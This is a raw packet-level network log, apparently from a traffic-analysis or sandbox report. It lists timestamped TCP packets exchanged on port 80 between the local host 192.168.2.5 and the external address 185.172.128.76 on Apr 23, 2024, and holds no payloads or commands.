Apr 23, 2024 09:33:03.814800024 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.814811945 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.814831018 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.814831018 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.814903021 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.814914942 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.814925909 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.814938068 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.814939976 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.814939976 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.814949036 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.814960003 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.814974070 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.814980030 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.814980030 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.814986944 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.814997911 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.815009117 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.815021038 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.815027952 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.815027952 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.815032959 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.815069914 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.815069914 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.854221106 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.854434967 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.856555939 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.856749058 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.857630968 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.857675076 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.858784914 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.858824015 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.858864069 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.858870029 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.858870029 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.858901024 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.858935118 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.858937979 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.858968973 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.858973980 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.859009027 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.859019995 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.859019995 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.859044075 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.859052896 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.859080076 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.859116077 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.859118938 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.859146118 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.859153986 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.859189987 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.859194994 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.859194994 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.859229088 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.859246969 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.859328032 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.860371113 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.860466957 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.860529900 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.860565901 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.860599995 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.860599995 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.860601902 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.860637903 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.860667944 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.860729933 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.864211082 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.864248037 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.864280939 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.864284039 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.864320993 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.864320993 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.864320993 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.864360094 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.864393950 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.864396095 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.864422083 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.864432096 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.864468098 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.864471912 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.864506960 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.864510059 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.864510059 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.864545107 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.864579916 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.864584923 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.864584923 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.864614964 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.864626884 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.864655018 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.864691019 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.864700079 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.864700079 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.864727020 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.864763021 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.864769936 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.864769936 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.864798069 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.864819050 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.864837885 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.864873886 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.864878893 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.864878893 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.864907980 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.864928961 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.864943027 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.864979029 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.864990950 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.864990950 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.865015030 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.865035057 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.865067005 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.865086079 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.865124941 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.865143061 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.865159035 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.865191936 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.865194082 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.865230083 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.865238905 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.865238905 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.865264893 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.865287066 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.865299940 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.865317106 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.865335941 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.865346909 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.865371943 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.865389109 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.865406990 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.865422964 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.865444899 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.865475893 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.865479946 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.865504026 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.865515947 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.865550995 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.865557909 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.865557909 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.865585089 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.865612984 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.865623951 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.865647078 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.865662098 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.865672112 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.865696907 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.865711927 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.865731955 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.865744114 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.865767002 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.865793943 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.865803957 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.865838051 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.865840912 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.865875006 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.865883112 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.865883112 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.865910053 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.865946054 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.865953922 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.865953922 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.865981102 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.866015911 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.866023064 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.866023064 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.866050005 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.866065979 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.866085052 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.866101980 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.866120100 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.866142988 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.866153955 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.866190910 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.866198063 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.866198063 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.866225958 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.866250038 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.866260052 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.866286039 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.866295099 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.866331100 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.866331100 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.866364956 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.866374016 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.866374016 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.866400003 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.866435051 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.866436005 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.866471052 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.866477013 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.866477013 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.866508961 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.866544008 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.866552114 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.866552114 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.866579056 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.866612911 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.866619110 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.866619110 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.866647959 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.866674900 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.866688013 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.866724014 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.866728067 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.866728067 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.866759062 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.866789103 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.866795063 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.866831064 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.866837978 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.866837978 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.866866112 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.866879940 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.866899967 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.866933107 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.866938114 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.866975069 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.866983891 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.866983891 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.867011070 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.867043972 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.867046118 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.867082119 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.867088079 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.867088079 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.867116928 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.867170095 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.867172003 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.867188931 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.867204905 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.867240906 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.867243052 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.867275953 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.867283106 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.867283106 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.867311001 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.867333889 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.867350101 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.867386103 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.867436886 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.899056911 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.899185896 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.907838106 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.907888889 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.908114910 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.908114910 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.909158945 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.909215927 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.916289091 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.916385889 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.916405916 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.916445017 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.916481018 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.916491032 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.916491032 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.916516066 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.916554928 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.916563034 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.916563034 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.916589022 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.916625977 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.916625977 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.916625977 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.916663885 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.916698933 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.916707039 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.916707039 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.916733980 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.916771889 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.916778088 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.916778088 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.916807890 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.916842937 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.916850090 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.916850090 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.916878939 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.916915894 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.916918993 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.916932106 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.916951895 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.916960001 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.916986942 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.917011023 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.917021990 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.917033911 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.917057037 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.917092085 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.917100906 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.917100906 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.917126894 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.917161942 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.917162895 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.917162895 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.917196989 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.917212963 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.917231083 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.917267084 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.917274952 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.917274952 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.917301893 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.917336941 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.917345047 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.917345047 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.917372942 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.917407990 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.917414904 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.917414904 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.917443037 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.917479992 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.917485952 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.917485952 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.917514086 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.917548895 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.917556047 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.917556047 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.917583942 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.917619944 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.917625904 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.917625904 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.917655945 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.917692900 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.917695045 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.917695045 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.917727947 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.917743921 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.917762995 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.917788029 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.917798996 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.917814016 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.917834044 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.917867899 CEST	49704	80	192.168.2.5	185.172.128.76
Apr 23, 2024 09:33:03.917870045 CEST	80	49704	185.172.128.76	192.168.2.5
Apr 23, 2024 09:33:03.917906046 CEST	80	49704	185.172.128.76	192.168.2.5
